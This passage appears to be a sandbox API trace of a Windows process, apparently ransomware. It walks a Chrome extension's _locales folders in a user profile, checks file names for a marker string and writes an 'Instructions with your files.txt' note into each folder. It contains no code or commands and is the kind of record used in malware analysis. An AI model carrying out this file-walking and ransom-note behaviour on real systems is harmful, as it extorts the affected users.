[0129.119] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.119] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\Instructions with your files.txt") returned 174
[0129.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.119] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.120] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.120] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.120] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.120] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.121] CloseHandle (hObject=0x134) returned 1
[0129.121] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.121] GetProcessHeap () returned 0x810000
[0129.121] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.121] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0129.121] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th") returned 141
[0129.121] GetProcessHeap () returned 0x810000
[0129.121] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*") returned 143
[0129.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\.") returned 143
[0129.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\..") returned 144
[0129.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 155
[0129.121] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.121] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.121] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\Instructions with your files.txt") returned 174
[0129.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.122] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.123] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.123] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.123] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.123] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.123] CloseHandle (hObject=0x134) returned 1
[0129.123] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.123] GetProcessHeap () returned 0x810000
[0129.123] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.123] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0129.123] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr") returned 141
[0129.123] GetProcessHeap () returned 0x810000
[0129.123] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.123] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*") returned 143
[0129.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.124] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\.") returned 143
[0129.124] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866dc5f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x866dc5f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.124] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\..") returned 144
[0129.124] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.124] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 155
[0129.124] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.124] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x866db650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.125] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\Instructions with your files.txt") returned 174
[0129.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.125] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.126] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.126] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.126] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.126] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.126] CloseHandle (hObject=0x134) returned 1
[0129.126] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.126] GetProcessHeap () returned 0x810000
[0129.126] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.126] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
[0129.127] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk") returned 141
[0129.127] GetProcessHeap () returned 0x810000
[0129.127] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.127] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*") returned 143
[0129.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.127] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\.") returned 143
[0129.127] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x866dc5f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.127] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\..") returned 144
[0129.127] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.127] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 155
[0129.127] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.127] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.127] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\Instructions with your files.txt") returned 174
[0129.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.128] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.128] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.128] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.129] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.129] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.129] CloseHandle (hObject=0x134) returned 1
[0129.129] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.132] GetProcessHeap () returned 0x810000
[0129.132] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.132] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0129.132] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi") returned 141
[0129.132] GetProcessHeap () returned 0x810000
[0129.132] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.132] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*") returned 143
